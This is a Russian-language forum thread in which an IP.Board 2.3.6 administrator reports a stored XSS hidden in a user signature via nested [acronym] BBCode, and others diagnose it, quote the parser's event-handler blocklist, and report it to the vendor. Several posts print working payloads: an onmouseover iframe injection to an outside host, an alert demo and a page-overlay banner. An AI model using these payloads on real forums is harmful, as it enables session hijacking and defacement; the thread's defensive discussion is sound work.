Перейти к контенту
  • 0

Пытаются взломать что делать


Вопрос

Есть форум ipb 2 3 6

 

один пользователь прислал в ЛС некое сообщение, при прокрутке скролом страницы перекинуло на другой сайт и вернуло обратно. В подписи юзера оказался следующий код

 

[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]

 

 

вот как работает тег акронима:

[acronym='Laugh Out Loud']lol[/acronym]


<acronym title='{option}'>{content}</acronym>

 

Как защититься и что делать?

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 100
  • Создана
  • Последний ответ

Лучшие авторы в этом вопросе

Лучшие авторы в этом вопросе

Загружено фотографий

Рекомендуемые сообщения

  • 0

Дыра в парсере BBCode.

 

- сменить себе пароль и сбросить ключ авторизации через админцентр;

- удалить BBCode acronym;

- отписать об обнаруженной уязвимости форума в IPS;

- начать думать об обновлении до 3.х (хотя там парсер еще кривее).

 

Первый пункт имеет смысл если сделать это быстро. Иначе вашей сессией уже могли воспользоваться (проверьте логи авторизации в АЦ) и что-нибудь нехорошее сделать.

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я пароль поменял сразу же и перелогинился, это сделало невозможной использования старые куки которые увели?

 

На 3 переход уже физически невозможен, очень много изменений + тройка откровенная халтура, извините меня это мое личное мнение.

 

Я тоже подумал что тег можно стереть, но меня интересует: это эксплотй тега акроним или эту конструкцию можно повторить использую любые другие теги?

 

 

тема обсуждается тут

http://ipbskins.ru/forum/topic5228.html

http://forum.searchengines.ru/showthread.php?p=6476617

http://forum.antichat.ru/showthread.php?p=1960546

http://forums.ibresource.ru/index.php?showtopic=60138

 

 

Атакующий скрыл подпись под цвет фона

color="#EEF2F7"

 

Можно ли как-то запретить использовать в теге любые цвета? только те, которые black, red и тд.?

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Да причем тут цвет, если кривой парсер позволяет пропихнуть любой HTML и даже JavaScript? :3

 

Например, на этом форуме эксплоит не сработает, ибо его спасает замена первой буквы в onmouseover (и во всех остальных "on"-эвентах) на o. Эта же замена есть в стандартном IPB3. Кажется, она была и в IPB2, но на 100% не уверен. А почему её нет у вас на форуме? Где вы брали движок и насколько актуальная у вас версия?

 

<acronym onmouseover="document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close();" test2="" title="test1<acronym title=">_'>___________________________________________________________________________</acronym>

 

Презабавно... Эта доска тоже в одном шаге от активной XSS.

 

Я пароль поменял сразу же и перелогинился, это сделало невозможной использования старые куки которые увели?

Да.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Правильно эксполоит выполняется так

 

<span style="color:#EEF2F7"><!--/coloro--><acronym title='test1<acronym title='test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); '>_'>___________________________________________________________________________</acronym>_</acronym><!--colorc--></span><!--/colorc-->

 

Если запретить onmouseover - привяжут к другому событию, можно все эти онэвенты

Ссылка на комментарий
Поделиться на других сайтах

  • 0

fagediba, цвет нужен только чтобы скрыть длинную горизонтальную полосу. А полоса нужна - чтобы вы гарантированно провели по ней мышью. Бороться с цветом - это все равно, что запрещать автомобили, чтобы избежать аварий на дорогах - не логично :D

 

Куда интереснее другой вопрос. Только что скачал 2.3.6 в клиентцентре, открываю /sources/classes/bbcode/class_bbcode_core.php и вижу строки 1024-1052 (заменил "&" на "$" чтобы парсер не съел html entites):

		//-----------------------------------------
	// Take a crack at parsing some of the nasties
	// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD
	// AND SHOULD NOT BE RELIED UPON!
	//-----------------------------------------

	$t = preg_replace( "/javascript/i" , "j$#097;v$#097;script"	, $t );
	$t = preg_replace( "/alert/i"	  , "$#097;lert"		 	, $t );
	$t = preg_replace( "/about:/i"	 , "$#097;bout:"		 	, $t );
	$t = preg_replace( "/onmouseover/i", "$#111;nmouseover"		, $t );
	$t = preg_replace( "/onclick/i"	, "$#111;nclick"			, $t );
	$t = preg_replace( "/onload/i"	 , "$#111;nload"		 	, $t );
	$t = preg_replace( "/onsubmit/i"   , "$#111;nsubmit"	   	, $t );
	$t = preg_replace( "/onmouseout/i" , "$#111;nmouseout"		, $t );
	$t = preg_replace( "/onunload/i"   , "$#111;nunload"   		, $t );
	$t = preg_replace( "/onabort/i"	, "$#111;nabort"			, $t );
	$t = preg_replace( "/onerror/i"	, "$#111;nerror"			, $t );
	$t = preg_replace( "/onblur/i"	 , "$#111;nblur"	 		, $t );
	$t = preg_replace( "/onchange/i"   , "$#111;nchange"   		, $t );
	$t = preg_replace( "/onfocus/i"	, "$#111;nfocus"			, $t );
	$t = preg_replace( "/onreset/i"	, "$#111;nreset"			, $t );
	$t = preg_replace( "/ondblclick/i" , "$#111;ndblclick" 		, $t );
	$t = preg_replace( "/onkeydown/i"  , "$#111;nkeydown"		  , $t );
	$t = preg_replace( "/onkeypress/i" , "$#111;nkeypress" 		, $t );
	$t = preg_replace( "/onkeyup/i"	, "$#111;nkeyup"			, $t );
	$t = preg_replace( "/onmousedown/i", "$#111;nmousedown"		, $t );
	$t = preg_replace( "/onmouseup/i"  , "$#111;nmouseup"		  , $t );
	$t = preg_replace( "/onselect/i"   , "$#111;nselect"   		, $t );

 

Эта вещь гарантированно защитит вас от этой уязвимости. А теперь вопрос - почему у вас такого кода в парсере нет? Какого года у вас 2.3.6 и ставили ли вы обновления безопасности?

Ссылка на комментарий
Поделиться на других сайтах

  • 0
А теперь вопрос - почему у вас такого кода в парсере нет?

Это не оспоримое преимущество бесплатных версий, скаченных не понятно откуда.

 

Какого года у вас 2.3.6 и ставили ли вы обновления безопасности?

У меня первый вопрос, был аналогичный. :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

вот мой бб коре

 

 

//-----------------------------------------
	// Take a crack at parsing some of the nasties
	// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD
	// AND SHOULD NOT BE RELIED UPON!
	//-----------------------------------------

	$t = preg_replace( "/javascript/i" , "javascript"	, $t );
	$t = preg_replace( "/alert/i"	  , "alert"		 	, $t );
	$t = preg_replace( "/about:/i"	 , "about:"		 	, $t );
	$t = preg_replace( "/onmouseover/i", "onmouseover"		, $t );
	$t = preg_replace( "/onclick/i"	, "onclick"			, $t );
	$t = preg_replace( "/onload/i"	 , "onload"		 	, $t );
	$t = preg_replace( "/onsubmit/i"   , "onsubmit"	   	, $t );
	$t = preg_replace( "/onmouseout/i" , "onmouseout"		, $t );

 

там все это есть, но все равно пропустило

 

// NOTE: THIS IS NOT DESIGNED AS A FOOLPROOF METHOD

// AND SHOULD NOT BE RELIED UPON!

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Извините, кажется, я ввел вас в заблуждение. Кажется, этот код работает только с HTML-постами - "Pre-display convert HTML entities for use when HTML is enabled". Для обычных такой проверки нет (а зря). Однако, этот форум, выходит, модифицирован с целью закрытия этой дыры.

 

Ждем ответа техподдержки или других пользователей 2.3.6 :D

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я на античате почитал - оказывается они любят использовать одни теги внутри других тегов. Может быть надо как-то отключить использование вложенных тегов?

 

 

апдейт. вот что сказал это который ломал

 

этот баг закрыть легко если хорошо подумать.
Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Это вызовет кучу проблем. Например, в цитатах вылезут все исходные коды. Нельзя будет использовать жирный текст в списках, или одновременно задавать цвет и размер шрифта.

 

Я вот не понимаю другого - IBR явно знали о такой уязвимости - ведь они закрыли её на этом форуме. Почему же дистрибутив не пропатчен?

 

[acronym=test1_Самое время кричать КАРАУЛ! )[/size]

 

ОТКЛЮЧИТЕ ПОДПИСИ НА СВОИХ ФОРУМАХ ВТОРОЙ ЛИНЕЙКИ!

 

Активная XSS может быть внедрена в подпись на всех форумах второй линейки. Например, обратите внимание на мою подпись.

 

К сожалению, fagediba уже запостил код эксплоита на куче форумов, джина уже в бутылку не загонишь. Защищайтесь как можете. )

 

Ritsuka.

_[/acronym]_

 

Хм, этот форум все же недостаточно пропатчен. JavaScript не пускает, а вот разметку попортить вполне можно.

Изменено пользователем GiV
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Не ну я конечно расплодил код, но что мне делать? ведь сами видите только таким способом можно добиться чего-то, надеюсь знающие люди тут отпишут что и где заменять, ритсука я дамаю сообщение уже можно убрать, все заметили). Вообще так можно увести любой пароль у кого угодно да и вообще дел наделать

 

<acronym title='test1<acronym title='test2 onmouseover=alert("xss!"); '>_'>Наведи на меня мышку! Я - активная XSS!</acronym>_</acronym><br /><br /><acronym title='test1<acronym title='test2 color=black style=position:absolute;top:10px;right:10px;height:50px;width:200px;border-style:solid;background-color:red;border-color:black;border-width:3px '>_'>_Активная XSS в форуме IP.Board 2.3.6!<br /><a href="http://forums.ibresource.ru/index.php?showtopic=60138" target="_blank">Подробности тут!</a><br /> _</acronym>_</acronym>

Изменено пользователем fagediba
Ссылка на комментарий
Поделиться на других сайтах

  • 0

fagediba, а мне оно нравится. Такое агрессивное и пугающее ^^'

 

Кстати, отключив подписи, вы избавитесь от активной XSS и только. Всякие гадости с разметкой вроде этого красного банера все равно можно будет творить. И еще javascript вместо бэкграундов попробовать подгружать... В общем, простора для злодеяний много...

 

Чтобы не мешать дискуссии накрыл баннером первый пост и заодно код эксплоита)))

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Для хакера лазейка в 1000 раз меньше этой уже возможность получить полный доступ, там главное ниточка за которую они тянут
Ссылка на комментарий
Поделиться на других сайтах

  • 0
Чтобы не мешать дискуссии накрыл баннером первый пост и заодно код эксплоита)))

И форму ответа ... :D

 

А на тройке это точно не работает?

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Да, проверено :D

Лишний повод перейти на тройку...

 

Я в хакинге не силен, но могу сказать что ближайший год тройка будет бить рекорды по уязвимостям, хотя профессиональный хакер вскроет одинаково просто и двойку и тройку и воблу и другие движки

Ссылка на комментарий
Поделиться на других сайтах

  • 0
fagediba, вот только тройка поддерживается разработчиками, а двойка - нет :D

 

Ну код-то открыт, я думаю умельцы нашлись что взломали, найдутся и те кто закроет.

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Ну, IPS и IBR поставлены в известность сразу, а там...

 

1 600 000 досок ждут своего патча :D Из них больше половины не узнают о дыре и получат по самые помидоры ;)

Изменено пользователем Ritsuka
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Да, написал лично CEO и на ящик в support.

 

Можете тоже написать, больше не меньше :D

 

Bad news everyone.

 

Уязвимость есть и в 3.х, просто делается несколько иначе.

Ссылка на комментарий
Поделиться на других сайтах

  • 0
Можете тоже написать, больше не меньше :D

Чукча не писатель, Чукча читатель ;)

 

Уязвимость есть и в 3.х, просто делается несколько иначе.

Надо писать...

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...

×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.